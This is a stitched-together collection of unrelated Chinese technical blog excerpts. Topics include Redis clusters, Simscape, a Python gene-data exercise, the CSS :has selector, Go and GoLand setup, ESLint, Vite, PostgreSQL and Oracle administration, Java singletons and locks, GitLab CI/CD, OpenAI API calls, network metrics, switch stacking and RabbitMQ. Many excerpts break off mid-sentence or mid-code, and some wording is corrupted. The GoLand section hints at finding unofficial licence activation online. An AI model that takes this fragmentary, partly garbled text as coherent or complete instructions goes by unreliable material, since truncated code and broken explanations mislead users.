Redis为了其高可用性,要求我们的集群几点数量至少是6个节点,这6个节点也会有节点形成主从关系,即3主3从的环境,并且对于从节点不需要我们进行之前主从的配置,也就是说这6个节点都是跟之前的主节点一样的差不多的配置,只不过需要我们在每个配置文件中开启Cluster集群模式,添加如下信息:
这里我们使用不同的端口号来模拟不同的redis节点 (如果服务器数量足够那么端口都是6379,只是IP7
同而已)。
创建6个节点成功之后,我们随意的进入其中一个容器,然后创建redis集群:
注意:
在redis的老的一些版本需要我们自己写shel脚本对redis集群中的16384个横位进行,而且必须分配完所有的哈希槽,脚本案例如下:
后来的版本中 Redis Cluster提供了 cluster create 命令创建集群,使用这个命令Redis 会自动把这些槽平均分布在集群实例上,这样就变得更加的方便。命令使用如下:
--cluster-replicas 1: 表示一个master配置几个slave节点,这里表示一主一从
提示:本篇为学习笔记,原文链接已附上
原文学习链接:ReadAir——simscape仿真(三) 前言 最近在向大佬学习simscape仿真,链接在上面,记录一下,做些积累,有错误的地方欢迎大家指正!
matlab r2021a版本
1.建立合适的坐标系 (注意:相连的两个物体必须在同一个坐标系下)
2.点开MATLAB->点击simulink->找到simscape->creat multibody 3.保存工程(养成良好的保存习惯) 4. 开始创建(用到的模块都在Simscape库里,实在找不到的可以在上方搜索,例如搜索rigid transform,找到后右击选择select in library view就能找到该模块所在库的位置) (1)滑块导轨 Extrusion Type: GeneralCross-section : [2 -1;2 1;1 1;1 0;-1 0;-1 1;- 2 1;-2 -1] cmLength : 1.2 m 属性编辑好之后,建立坐标系一个世界坐标系,固定导轨底座
再建立一个连接滑块的坐标系——导轨,方法同上,取消勾选R坐标
(2) 滑块与导轨在Y轴相对滑动,所以需要添加一个关节,限制X和Z轴的活动,如下图,Z轴相同设置 (3)滑块 Shape : BrickDimensions : [2 12 20] cm 建立与导轨坐标相同的坐标系,将滑块与导轨连接在一起
建立中心位置的坐标系,用于连接摆动轴
同样取消勾选R坐标
(4)摆杆轴 Radius : 0.02 mLength : 0.2 m (5)转动关节 一开始的时候搞点倾斜角,让系统不稳定才能动起来
(6)摆杆 5.运行 总结 重点难点:坐标系的建立
一、实验目的
使用合适的数据结构(如:列表,字典、集合等)进行程序编写
二、实验环境
操作系统:Windows
主要软件:Jupyter notebook
实验内容
1. 已知字典:{'a': [1, 2, 3], 'b': [2, 3, 4], 'c': [5, 6, 7]}。请计算该字典3个key对应列表第二个元素相加的值,并输出到屏幕。
提示:把字典赋值给变量adict,那么adict['a'][1]的值即为a对应列表的第二个元素。
2. 已知geneList.txt包含100个NCBI Entrez gene ID,请从“人类基因组基因信息”中提取这100个基因的名称(Symbol),所在为染色体信息(chromosome)和基因描述信息(description),并输出到屏幕。
人类基因组基因信息下载地址:https://ftp.ncbi.nlm.nih.gov/refseq/H_sapiens/Homo_sapiens.gene_info.gz
注意:实验数据“geneList.txt”见QQ群文件。
(1) 首先读取“人类基因组基因信息”文件存入一个字典,该字典的key为gene ID,值为列表,列表内容包含基因名称、染色体信息、基因描述。输出key为“414201”对应的列表内容。
提示:可使用with语句打开文件
print(adict['414201']):输出结果为
['ZNF32-AS3', '10', 'ZNF32 antisense RNA 3']
(2) 再读取geneList.txt文件;每读取一行就判断该gene ID是否存在于上面的字典中;如果存在则输出该gene ID已经对应的列表的内容。
提示:可使用with语句打开文件
输出格式结果如下(参考): 四、实验报告
1. 使用jupyter notebook文档填写实验报告,导出并提交pdf格式文件。
文件命名规则:”星期几+学号+姓名+实验3.pdf。
2. 记录实验步骤和实验结果
3. 记录实验中遇到的问题,如何解决的。
1.
adict={'a': [1, 2, 3], 'b': [2, 3, 4], 'c': [5, 6, 7]} r=adict['a'][1]+adict['b'][1]+adict['c'][1] print(r) 2
Thinking系列,旨在利用10分钟的时间传达一种可落地的编程思想。
开发中遇到这样一个诉求:特定class的元素单独占一行,现需要针对其前一个兄弟元素增加相应标识,以使其占据所在行的剩余所有空间。
换句话:就是如何选中特定class的前一个兄弟元素。(如何选中下面每个b元素前的a元素)
CSS 不存在选择前一个兄弟元素的选择器!CSS 不存在选择前一个兄弟元素的选择器!
为什么?
流布局 块元素: 按照基于其父元素的书写顺序(默认值: horizontal-tb) 的*块流动方向 (block flow direction)*放置 — 每个块级元素会在上一个元素下面另起一行。=> 从上到下
内联元素: 如果父级块级元素的宽度有足够的空间,它们与其他内联元素、相邻的文本内容(或者被包裹的)被安排在同一行。如果空间不够,溢出的文本或元素将移到新的一行。==> 从左到右
思考 了解了浏览器正常情况下的流布局形式(从左到右,从上到下),我们就可以得知:CSS 之所以不支持,是由于其流布局导致。
如果可以通过当前元素选择前一个兄弟元素,可能会导致额外的重绘操作!
CSS NEXT :has( <forgiving-relative-selector-list> ) :has() 表示一个元素,如果作为参数传递的任何相对选择器在锚定到该元素时,至少匹配一个元素。这个伪类通过把可容错相对选择器列表作为参数,提供了一种针对引用元素选择父元素或者先前的兄弟元素的方法。
相关规范:https://www.w3.org/TR/selectors-4/#relational
MDN地址:https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has
实现上述诉求:
.a:has(+ .b) { background-color: blue; } 其目前浏览器支持程度不是特别理想(Firefox也不支持)
解决方案 无法选择前一个兄弟元素,是有流布局导致,我们是否可以改变布局方式,来解决呢?
通过 flex 的属性flex-direction: row-reverse; 来反转,这样问题就变为了:如何选择特定class的后一个兄弟元素?
div { display: flex; flex-direction: row-reverse; justify-content: flex-end; } li { display: inline-block; width: 30px; height: 30px; margin-right: 10px; background-color: gainsboro; } .
目录 Windows安装go语言开发包1、下载Go语言开发包2、安装Go语言开发包3、设置环境变量 Goland的下载和安装激活1、进行下载2、双击进行安装3、运行 Goland Windows安装go语言开发包 1、下载Go语言开发包 下载地址:https://golang.google.cn/dl/
注意:下载 Windows 版本的Go语言开发包时尽量选择 MSI 格式,因为它可以直接安装到系统,不需要额外的操作。
2、安装Go语言开发包 双击我们下载好的Go语言开发包即可启动安装程序
在 Windows 系统下Go语言开发包会默认安装到 C 盘的 Go 目录下,推荐在这个目录下安装,使用起来较为方便。当然,你也可以选择其他的安装目录
Go语言开发包的安装没有其他需要设置的选项,点击“Install”即可开始安装
等待程序完成安装,然后点击“Finish”退出安装程序
安装完成后,在我们所设置的安装目录下将生成一些目录和文件
3、设置环境变量 开发包安装完成后,我们还需要配置一下GOPATH 环境变量,之后才可以使用Go语言进行开发。GOPATH 是一个路径,用来存放开发中需要用到的代码包。
在桌面或者资源管理器右键“此电脑”(或者“我的电脑”)→“属性”→“高级系统设置”→“环境变量”,如下图所示
环境变量设置好后,可以通过go env 命令来进行测试
友情提示,在你的工作目录下建三个文件夹 Goland的下载和安装激活 1、进行下载 Goland下载地址:https://www.jetbrains.com/go/download/download-thanks.html
2、双击进行安装 3、运行 Goland 第一次启动 Goland 时会提示我们导入设置信息,这里我们选择第二项,不导入设置信息。
点击 OK 后发现需要激活,免费试用的话也仅有 30 天的时间,自己去网上找激活方式即可(这里不过多赘述了)
激活之后,就能直接使用了
错误描述:项目启动时,出现
You may use special comments to disable some warnings.的翻译是:你可以使用一些特殊的注释来禁用一些警告
出现这样的问题是:ESLint 对语法的要求过于严格,出现这样的问题并不是写的代码有异常,是代码的格式有问题
解决办法:取消ESLint验证规则
方法1: 关闭eslint语法检测,在.eslintrc.js文件中,注释掉 eslint:recommended。
方法2:如果你的项目是vue脚手架工程,那么找到项目根目录下的bulid文件夹下的 webpack.base.conf.js,找到以下代码块并注释掉第三行代码 module: { rules: [ ...(config.dev.useEslint ? [createLintingRule()] : []), //注释掉该行代码 { test: /\.vue$/, loader: 'vue-loader', options: vueLoaderConfig }, 注释完保存退出,重新启动项目即可。
方法3:当项目并不存在build文件夹,即不属于vue脚手架工程,那请到根目录下 config文件夹下的index.js文件,将useEslint属性设置为false。
之后重新启动项目即可。
方法4:如果是vue3新项目的话,找不到上面的文件,找到vue.config.js把vue.config.js中的lintOnSave的值改为false即可。但如果在vue.config.js中没有lintOnSave则添加
lintOnSave: false 到
module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 中。然后重新启动就行。
遇到问题简单记录一下,我是通过第四种方法解决了问题。
这一篇主要讲一下 Vite 与 css 的配置。
1、Vite 按需加载 // vite.config.js import { defineConfig } from 'vite' import Components from 'unplugin-vue-components/vite' import { AntDesignVueResolver } from 'unplugin-vue-components/resolvers' export default defineConfig({ plugins: [ /* ... */ Components({ resolvers: [AntDesignVueResolver()] }) ] }) 如上配置即可,在代码中可以直接使用组件,但是此插件无法处理非组件模块,如 message,这种组件需要手动加载:
// vue文件 import { message } from 'ant-design-vue'; import 'ant-design-vue/es/message/style/css'; // vite只能用 ant-design-vue/es 而非 ant-design-vue/lib 如果在 main.js 中全局引入 antd vue 样式文件,就不需要引入对应的样式了:
// main.js /* ... */ import 'ant-design-vue/dist/antd.less' // or 'ant-design-vue/dist/antd.
一、背景说明 使用的 PostgreSQL 版本是 14.X 版本的。
实际项目部署过程中,数据库的数据有时候被要求保留5-10年,甚至更久。随着数据量的增大,磁盘占用空间也会随之增大。
当数据库默认的安装路径所在目录的磁盘空间不够大时,可以考虑扩容,或者修改数据库数据存放的路径,将路径指定到一个足够大的磁盘目录下。
本篇博文,主要介绍如何修改 PostgreSQL 的数据存储路径。
二、解决方案 1、创建需要存放数据的路径 mkdir -p /home/data/pg14/data 其中,/home/data/pg14/data 是数据需要存放的目录,可以根据实际情况进行修改。
2、设置访问权限 chown -R postgres:postgres /home/data/pg14/data 3、初始化数据库 1)赋予 posrgres 用户所有权
su - postgres 2)手动初始化自定义路径下的数据库
/usr/pgsql-14/bin/initdb -D /home/data/pg14/data 4、修改系统文件中的路径 sudo vim /usr/lib/systemd/system/postgresql-14.service 修改Enviroment=PGDATA=/var/lib/pgsql/14/data/ 为 /home/data/pg14/data/ 后,保存退出编辑。
5、重新加载系统文件 systemctl daemon-reload 6、重启PostgreSQL 服务 systemctl restart postgresql-14
一、查看DBID (1)使用rman查看
$ rman target / Recovery Manager: Release 11.2.0.4.0 - Production on Fri Jun 12 03:20:19 2015 Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved. connected to target database: DBTEST (DBID=1275017193) RMAN> (2)使用sqlplus查看
SQL> select dbid,name,open_mode from v$database; #查看数据库的dbid DBID NAME OPEN_MODE ----------- ------- --------------- 1553428630 SHP READ WRITE (3)dump文件查看
#dump日志文件 SQL> alter system dump logfile ‘/u01/app/oracle/oradata/dbtest/redo01.log‘; #dump数据文件 SQL> alter system dump datafile ‘/u01/app/oracle/oradata/dbtest/users01.dbf‘ block min 1 block max 4; #dump归档日志 SQL> alter system dump logfile ‘/home/oracle/arch/1_11_882154347.
java-code: java代码管理 (gitee.com)
文章目录 目录
一、单例模式概念
二、单例模式实现
1.饿汉模式
2.懒汉模式(非必要不创建)(优化)
如何解决懒汉模式的线程安全问题?
总结
一、单例模式概念 顾名思议就是类在线程中就只要一个实例~(在于发生禁止new,只能创建一个实例)
单例模式是常考的设计模式,还有一种叫工厂模式
二、单例模式实现 单例模式一般有两种实现方式!
懒汉模式和饿汉模式~
简单举个栗子:
两个汉字,一个好几天没吃饭了,一个吃的饱饱的,这时候如果有四碗大米饭,饿汉模式就会一口气全部吃完(不管自己饿不饿,不管有多少饭),如果是懒汉模式,他就会懒得吃饭,只有当不得不吃的时候才会吃,而且需要多少就吃多少(非必要,不吃饭~)
1.饿汉模式 一次读取所有的资源
代码实现:
//这个类设定成单例的 class Singleton{ private static Singleton instance=new Singleton(); //创建实例 唯一的~ public static Singleton getInstance(){ //获取实例的方法 return instance; } private Singleton(){}; //该类构造方法设置为 private禁止外部new实例~ //这样就可以保证单例~ } class Test { public static void main(String[] args) { //唯一实例都是同一个~ Singleton s1=Singleton.getInstance(); Singleton s2=Singleton.getInstance(); // Singleton s3=new Singleton(); //这样就禁止了再次new对象了~ System.out.println(s1 == s2); } } 通过公共方法来从外部获取实例,通过private来限制外部再次创建实例~
1.usb设备如何从主机连接切换成虚拟机连接? 操作:点击菜单栏虚拟机(M)>可移动设备>选择自己的usb设备>连接(断开与 主机 的连接)
2.usb设备如何从虚拟机连接切换成主机连接? 操作:点击菜单栏虚拟机(M)>可移动设备>选择自己的usb设备>断开连接(连接主机)
目录
概述
为什么持续集成和发布可以提高效率
如何实现
1、在linux服务器安装部署代码仓库
2、安装jenkins
使用shell脚本实现CICD
使用pipeline实现CICD
使用Blue Ocean实现CICD
概述 持续集成(Continuous Integration,CI)和持续发布(Continuous Delivery,CD,又称持续交付)是经常放在一起提及的两个概念,专有词组CI/CD Pipeline 用来描述他们同时存在的持续集成与发布自动化管线。
持续集成是一种编程实践,它让开发团队通过实现对代码一系列小的改动,高频率地提交到版本管理源。现代程序需要依赖大量平台与工具链,需要一种行之有效的方式去反复确认每个改动的正确性。持续集成在技术上的目标是建立一个自动化、工序稳定一致的工作饰程。这种流程包括编译代码、打包编译输出,以及测试最终生成的结果。这种稳定一致并可以反复执行的流程,让开发人员可以更加频繁地提交改动,从而提升合作效率和代码质量。通过持续集成,团队可以快速的从一个功能到另一个功能,简而言之,敏捷软件开发很大一部分都要归功于持续集成。
持续发布是在持续集成之后的一系列动作。持续发布自动化交付生成的产品到各个目标环境,如测试环境、审查环境和生产环境等,以用于不同的目的。除了生产环境外,多数的团队都会面对各种不同的环境,如开发人员使用的开发环境、测试人员使用的测试环境。持续发布可以保证各种修改以一种稳定、符合预期的方式交付到这些环境上。在发布的过程中,除了把持续集成的最终产物复制到目标环境外,持续交付通常还会跟外部的Web API、数据库和其他服务通信,让新的改动最终在目标环境生效。
为什么持续集成和发布可以提高效率 持续集成与发布有一套与之相伴的版本管理实践来指导团队之间的合作。而通过加入大量的自动化流程,持续集成与发布极大地减少了试错的成本和人为的错误。
1.更加高效的合作模式:持续集成作为一种实践,依赖于对工作流程的管理和自动化。当使用持续集成时,开发人员高频率地提交他们的代码到版本管理源中,有些团队甚至会对提交的频率作具体的要求,如每天一次。这种要求的原因是比起一大段需要数天甚至一个月写成的代码,一段段小规模的代码改动更容易定位质量问题。另外,通常代码是对整个团队的人开放的,如果开发人员的提交周期非常短,那么就可以避免出现多人共同编辑同一段代码,最终产生冲突的情况。当用户实现持续集成时,通常用户会从版本管理源的配置开始。虽然用户高频率地提交代码,但是一个新特性或者一段对错误的修复往往由多次代码提交组成,这些提交代码的时间跨度有长有短。团队需要通过版本管理和持续集成的结果来选择和判断哪些改动可以更新到生产环境。
能对多个并行开发的特性实施有效管理的其中一种方式是版本管理系统中的分支管理。分支策略有很多种,其中之一被称为Git流程,它定义了一系列基于源码分支的合作流程,如新的代码应该放在什么分支,如何命名,如何合并入其他主干分支,如开发分支、测试分支和最终生产分支。对于需要长时间开发的特性,也会使用专门的副主干分支,用于其他更细小分支的并入。当一个新特性完整之后,这个新特性代表的分支将会被合并入主干分支。这种工作方式最大的挑战是当大量特性在并行开发的时候,如何管理这些分支的合并。
2.减少试错成本:在持续集成与发布的概念出现之前,对于代码的改动,开发人员需要自行把编译结果进行一系列的编译打包操作,在业内缺乏统一的指导思想去优化整体的流程。这些冗长的重复性劳动极大地打击了开发人员的积极性,开发人员从而倾向于一次性提交大量的代码,以减少测试和部署的频率。由于测试的频率降低了,一个错误往往要在更长的开发周期后才会被发现,这种“一次性提交大量的代码”的偏好反而又增加了开发人员的其他时间成本,被称之为试错成本。
3.减少人为错误:对于大量重复性的工作,在一些流程严谨的公司里,也许会通过详细的文档来描述每一个步骤应该如何正确地执行。但是这远远无法减少人为的错误。正如那句计算机领域的谚语“如果一个人工操作的步骤存在犯错的可能,那么它必然会有犯错的一天”。减少人为犯错的空间,与尽可能自动化一切是两个在工程领域相互关联、相互促进的主题。
持续发布与集成,通过脚本和配置把所有的流程都完全自动化,最大限度地减少人为犯错的空间。而且由于整个流程稳定、可重复,对于流程或者具体脚本中出现的错误,用户都可以轻易对其进行改进和测试,而不会出现人们“随机犯错”的情况。
如何实现 1、在linux服务器安装部署代码仓库 持续集成需要一个代码存储库,即需要版本控制软件来保障代码的可维护性,同时作为构建过程的素材库,Gitlab是依赖于Git的远程代码仓库,类似于GitHub、Gitee,不同的是GitHub、Gitee的公网上代码仓库, Gitlab是可以私有化部署的免费远程代码仓库,官网:https://about.gitlab.com/
1、准备服务器 10.0.0.7 gitlab 2、下载安装包 wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-13.0.3-ce.0.el7.x86_64.rpm 3、安装GitLab # 安装依赖包 [root@gitlab /opt]# yum install -y curl policycoreutils-python openssh-server perl # 关闭防火墙 [root@gitlab /opt]# systemctl disable --now firewalld # 关闭selinux [root@gitlab /opt]# sed -i 's#enforcing#disabled#g' /etc/sysconfig/selinux # 临时关闭 [root@gitlab /opt]# setenforce 0 # 安装 [root@gitlab /opt]# yum install gitlab-ce-13.
打开idea搜索插件安装ChatGPT插件、
配置简单只需两步
登录后
点击创建一个key
复制其中的key值打开idea配置,搜索 配置key到官方源中
点击右侧开始聊天吧
目录
Alpha值混合操作
更改一些类接口设置,实现Alpha值设定
Alpha值混合操作 先上图,其实原理和ColorLerp的原理一样,一种线性插值的方法来实现Alpha通道的混合。
Alpha通道就是对RGB三个值的一种表现约束,比如Alpha=0.5,那么RGB三个值就是原来纯色的一半,Alpha=0就是纯透明了,完全是背景色。
直接贴图了,依旧是在Canvs画布类中添加我们需要的功能:
那么在drawImage的时候,需要进行一些判断:
void Canvas::drawImage(int _x, int _y, Image* _image){ for (int u = 0; u < _image->getWidth(); ++u) { for (int v = 0; v < _image->getHeight(); ++v) { RGBA _srcColor = _image->getColor(u, v); if (!m_useBlend) { drawPoint(_x + u, _y + v, _srcColor); } else { RGBA _dstColor = getColor(_x + u, _y + v); RGBA _finalColor = colorLerp(_dstColor, _srcColor, (float)_srcColor.m_a / 255.
首先要学会科学上网
1官方api文档
https://platform.openai.com/docs/api-reference/chat/create
2 获取key
https://platform.openai.com/
登录账号 之后点击右上角的头像,再点击View API keys
3 http调用聊天接口
调用地址https://api.openai.com/v1/chat/completions 请求方式 post 请求头Content-Type:application/json Authorization:Bearer 获取的key 请求体 { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "php是什么?"}], "temperature": 0.3, "user":"88888888" } 效果图如下:
4 http调用chatgpt画图
调用地址https://api.openai.com/v1/images/generations 请求方式 post 请求头Content-Type:application/json Authorization:Bearer 获取的key 请求体 { "prompt": "一只躺下的柯基犬", "n": 2, "size": "256x256" } 效果图如下:
看看这个小可爱!
01 优化一
优化之后和Lock效率差不多
重量级锁,假如锁竞争激烈,性能会急剧下降,涉及用户态(用户正在使用)和内核态间的转变
在Java6通过引入锁升级的机制来实现高效Synchronized。这三种锁的状态是通过对象监视器在对象头中的字段来表明的。
synchronized监视器锁在互斥同步上对性能的影响很大。Java的线程是映射到操作系统原生线程之上的,如果要阻塞或唤醒一个线程就需要操作系统的帮忙,需要用户态和内核态之间的转换,状态转换需要花费很多的处理器时间,大大消耗性能,因为用户态和内核态都有自己的内存空间,专用的额寄存器等,用户态切换到内核态需要传递给许多变量参数给内核,内核也需要保护好用户态在切换时的一些寄存器值变量值,这种锁机制也被称为重量级锁,如果同步代码的内容比较简单,切换的时间比代码执行的时间还要长
jdk1.6后对synchronized进行优化,减少获得锁和释放锁带来的性能消耗,引入了偏向锁和轻量级锁,协调线程安全性和性能的平衡,这种优化主要解决上下文频繁切换,由于Java层面的线程与操作系统的原生线程有映射关系,如果要将一个线程进行阻塞或唤起都需要操作系统的协助,这就需要从用户态切换到内核态来执行,这种切换代价十分昂贵,很耗处理器时间。
锁的状态总共有四种:无锁状态、偏向锁、轻量级锁和重量级锁。随着锁的竞争,锁可以从偏向锁升级到轻量级锁,再升级的重量级锁。JDK 1.6中默认是开启偏向锁和轻量级锁的,也可以通过-XX:-UseBiasedLocking来禁用偏向锁。
锁的升级是单向的,也就是说只能从低到高升级,不会出现锁的降级
无锁状态
偏向锁状态
一段同步代码一直被一个线程所访问,那么该线程会自动获取锁。降低获取锁的代价。
轻量级锁状态
当锁是偏向锁时,被另一线程所访问,偏向锁就好升级为轻量级锁,其他线程会通过自旋的形式尝试获取锁,不会阻塞,提供性能。
重量级锁状态
当锁为轻量级锁时,另一个线程虽然是自旋,但自旋不会一直持续下去,当自旋一定次数后还没获取到锁,就进入阻塞,该锁膨胀为重量级锁。重量级锁会让其他申请的线程进入阻塞,性能降低。
重量级锁需要通过操作系统在用户态与核心态之间切换,就像它的名字是一个重量级操作,这也是synchronized效率不高的原因
01 无锁
对象锁没有被线程拥有,最后两位是01
下面函数打对象头信息
Object object = new Object(); System.out.println(ClassLayout.parseInstance(object).toPrintable()); 第一行和第二行是对象mark Word,是8个字节,每8位是一个字节,每8位倒着看,每8位里面又是从左到右看,只有第一个8位的后面的两位是01,是无锁
hashCode在不调用的时候是空的,所以hashCode的占位为空
java.lang.Object object internals: OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) 8 4 (object header) 28 0f ff 7f (00101000 00001111 11111111 01111111) (2147421992) 12 4 (loss due to the next object alignment) Instance size: 16 bytes Space losses: 0 bytes internal + 4 bytes external = 4 bytes total 如果调用hashCode
public class Main { public static void main(String[] args) { int a = 8, b = 1; a = a > b ? a ^ b ^ (b = a) : a; // a = a > b ? a + b - (b = a) : a; // 也可 System.out.println(a + " " + b); } }
衡量网络性能的四大指标:带宽、时延、抖动、丢包。
如何客户需要我们去评估一个网络的性能,我们就可以从这四方面去进行评估。
带宽 1、带宽概念:
带宽在百度百科中定义:在单位时间内从网络中的某一点到另一点所能通过的“最高数据率”。
计算机网络的带宽是指网络可通过的最高数据率,即每秒多少比特(常用的单位是bps(bit per second))。
简单的讲:带宽可以比喻是高速公路,表示单位时间内的能通过的车辆数;
2、带宽的表示:
带宽通常用bps表示,表示每秒多少bit;
描述带宽时常常把“比特/秒”省略。例如,带宽是100M,实际上是100Mbps,这里的Mbps是指兆位/s。
但是我们平时下载软件的速度的单位是Byte/s(字节/秒)。这里涉及到Byte和bit的换算,二进制数系统中每个0或1就是一个位(bit),位是数据存储的最小单位,其中8bit就称为一个字节(Byte)。
因此我们在办理宽带的时候,100M的带宽表示100Mbps,理论的的网络下载速度只有12.5M Bps,实际可能还不足10MBps,这是因为受用户计算机性能、网络设备质量、资源使用情况、网络高峰期、网站服务能力、线路衰耗,信号衰减等多因素的影响,实际网速是无法到达理论网速的。
时延 时延:简单的说,时延就是指报文从网络的一端到另一端所需要的的时间;
举个例子:我在自己的电脑上ping 百度的地址;
从ping的结果中,可以看到时延为12ms,这个时延就是指ICMP报文从我的电脑到百度的服务器所需要得往返时延是12ms;
(Ping指一个数据包从用户的设备发送到测速点,然后再立即从测速点返回用户设备的来回时间。也就是俗称的网络延时,以毫秒ms计算。)
网络时延包括了处理时延、排队时延、发送时延、传播时延这四大部分。在实际中我们主要考虑发送时延与传播时延。
下面我们具体看下每一个时延的含义;
1、处理时延:
交换机、路由器等网络设备在收到报文后要使用一定的时间进行处理。比如解封装分析首部,提取数据,差错检验,路由选择等。
一般高速路由器的处理时延通常是微秒或更低的数量级。
2、排队时延
排队时延简单来说就是路由器或交换机等网络设备处理数据包排队所消耗的时间。
一个数据包的排队时延取决于当前队列中是否有其它报文在传输。
如果该队列是空的,并且当前没有其他报文在传输,则该报文的排队时延为0;反之,如果流量很大,并且许多其他报文也在等待传输,该排队时延将很大;
实际的排队时延通常在毫秒到微秒级。
3、发送时延
发送时延简单讲就是路由器、交换机等网络设备发送数据所需要的时间,也就是路由器队列递交给网络链路所需要的时间。
如果用L比特表示分组的长度,用R bps表示从路由器A到路由器B的链路传输速率,发送时延则是L/R。
实际的发送时延通常在毫秒到微秒级。
4、传播时延
传播时延是指报文在实际的物理链路上传播数据所需要的时间。
传播时延等于两台路由器之间的距离除以传播速率,即传播时延是D/S,其中D是两台路由器之间的距离,S是该链路的传播速率。
实际传播时延在毫秒级。
抖动 抖动:网络抖动是指最大延迟与最小延迟的时间差,比如你访问一个网站的最大延迟是10ms,最小延迟为5ms,那么网络抖动就是5ms;
抖动可以用来评价网络的稳定性,抖动越小,网络越稳定;
尤其是我们在打游戏的时候,需要网络具有较高的稳定性,否则会影响游戏体验。
关于网络抖动产生的原因:如果网络发生拥塞后,排队时延会影响端到端的延迟,可能造成从路由器A到路由器B的延迟忽大忽小,造成网络的抖动;
丢包 丢包:简单来说丢包就是指一个或多个数据包的数据无法通过网络到达目的地,接收端如果发现数据丢失,会根据队列序号向发送端发出请求,进行丢包重传。
丢包的原因比较多,最常见的可能是网络发生拥塞,数据流量太大,网络设备处理不过来自然而然就有些数据包会丢了。
丢包率是指测试中所丢失数据包数量占所发送数据包的比率。比如发送100个数据包,丢失一个数据包,那么丢包率就是1%。
堆叠是指将多台支持堆叠特性的交换机通过堆叠线缆连接在一起,从逻辑上虚拟成一台交换设备,作为一个整体参与数据转发。堆叠是目前广泛应用的一种横向虚拟化技术,具有提高可靠性、扩展端口数量、增大带宽、简化组网等作用。
为什么需要堆叠? 传统的园区网络采用设备和链路冗余来保证高可靠性,但其链路利用率低、网络维护成本高,堆叠技术将多台交换机虚拟成一台交换机,达到简化网络部署和降低网络维护工作量的目的。堆叠具有诸多优势:
提高可靠性堆叠系统多台成员交换机之间形成冗余备份,如下图所示,SwitchA和SwitchB组成堆叠系统,SwitchA和SwitchB相互备份,SwitchA故障时,SwitchB可以接替SwitchA保证系统的正常运行。另外,堆叠系统支持跨设备的链路聚合功能,也可以实现链路的冗余备份。
堆叠示意图扩展端口数量如下图所示,当接入的用户数增加到原交换机端口密度不能满足接入需求时,可以增加新交换机与原交换机组成堆叠系统扩展端口数量。
扩展端口数量示意图增大带宽如下图所示,当需要增大交换机上行带宽时,可以增加新交换机与原交换机组成堆叠系统,将成员交换机的多条物理链路配置成一个聚合组,提高交换机的上行带宽。
增大带宽示意图简化组网如下图所示,网络中的多台设备组成堆叠,虚拟成单一的逻辑设备。简化后的组网不再需要使用MSTP等破环协议,简化了网络配置,同时依靠跨设备的链路聚合,实现单设备故障时的快速切换,提高可靠性。
简化组网示意图长距离堆叠如下图所示,每个楼层的用户通过楼道交换机接入外部网络,现将各相距较远的楼道交换机连接起来组成堆叠,这相当于每栋楼只有一个接入设备,网络结构变得更加简单。每栋楼有多条链路到达核心网络,网络变得更加健壮、可靠。对多台楼道交换机的配置简化成对堆叠系统的配置,降低了管理和维护的成本。
长距离堆叠示意图 有哪些设备可以堆叠? 主流交换机都支持堆叠,如华为S系列园区交换机、CloudEngine数据中心交换机都有款型支持堆叠。对于S系列园区交换机,仅盒式交换机有款型支持堆叠;两台框式交换机组建在一起叫集群。对于CloudEngine数据中心交换机,框式交换机和盒式交换机都有款型支持堆叠,两者的差异在于框式交换机仅支持两台设备组建堆叠。
如何建立堆叠? 在介绍堆叠是如何建立之前,先介绍下堆叠建立过程中用到的相关概念。
主、被、从交换机 堆叠系统中所有的单台交换机都称为成员交换机,按照功能不同,可以分为三种角色:
主交换机(Master):主交换机负责管理整个堆叠。堆叠系统中只有一台主交换机。备交换机(Standby):备交换机是主交换机的备份交换机。堆叠系统中只有一台备交换机。当主交换机故障时,备交换机会接替原主交换机的所有业务。从交换机(Slave):从交换机用于业务转发,堆叠系统中可以有多台从交换机。从交换机数量越多,堆叠系统的转发带宽越大。除主交换机和备交换机外,堆叠中其他所有的成员交换机都是从交换机。当备交换机不可用时,从交换机承担备交换机的角色。 主交换机、备交换机和从交换机都可以进行业务流量的转发。添加、移除或替换堆叠成员交换机,都可能导致堆叠成员角色的变化。
堆叠ID 堆叠ID用来标识堆叠成员交换机,是成员交换机的槽位号。每个堆叠成员交换机在堆叠系统中具有唯一的堆叠ID。
堆叠优先级 堆叠优先级是成员交换机的一个属性,主要用于角色选举过程中确定成员交换机的角色,优先级值越大表示优先级越高,优先级越高当选为主交换机的可能性越大。
一.RabbitMQ消息丢失的三种情况 第一种:生产者弄丢了数据。生产者将数据发送到 RabbitMQ 的时候,可能数据就在半路给搞丢了,因为网络问题啥的,都有可能。
第二种:RabbitMQ 弄丢了数据。MQ还没有持久化自己挂了。
第三种:消费端弄丢了数据。刚消费到,还没处理,结果进程挂了,比如重启了。
二.RabbitMQ消息丢失解决方案 1.针对生产者 方案1 :开启RabbitMQ事务 可以选择用 RabbitMQ 提供的事务功能,就是生产者发送数据之前开启 RabbitMQ 事务channel.txSelect,然后发送消息,如果消息没有成功被 RabbitMQ 接收到,那么生产者会收到异常报错,此时就可以回滚事务channel.txRollback,然后重试发送消息;如果收到了消息,那么可以提交事务channel.txCommit。
// 开启事务 channel.txSelect(); try { // 这里发送消息 } catch (Exception e) { channel.txRollback(); // 这里再次重发这条消息 } // 提交事务 channel.txCommit(); 缺点:
RabbitMQ 事务机制是同步的,你提交一个事务之后会阻塞在那儿,采用这种方式基本上吞吐量会下来,因为太耗性能。
方案2:使用confirm机制 事务机制和 confirm 机制最大的不同在于,事务机制是同步的,你提交一个事务之后会阻塞在那儿,但是 confirm 机制是异步的
在生产者开启了confirm模式之后,每次写的消息都会分配一个唯一的id,然后如果写入了rabbitmq之中,rabbitmq会给你回传一个ack消息,告诉你这个消息发送OK了;如果rabbitmq没能处理这个消息,会回调你一个nack接口,告诉你这个消息失败了,你可以进行重试。而且你可以结合这个机制知道自己在内存里维护每个消息的id,如果超过一定时间还没接收到这个消息的回调,那么你可以进行重发。
//开启confirm channel.confirm(); //发送成功回调 public void ack(String messageId){ } // 发送失败回调 public void nack(String messageId){ //重发该消息 } 2.针对RabbitMQ 主要需要应对三点:
要保证rabbitMQ不丢失消息,那么就需要开启rabbitMQ的持久化机制,即把消息持久化到硬盘上,这样即使rabbitMQ挂掉在重启后仍然可以从硬盘读取消息;
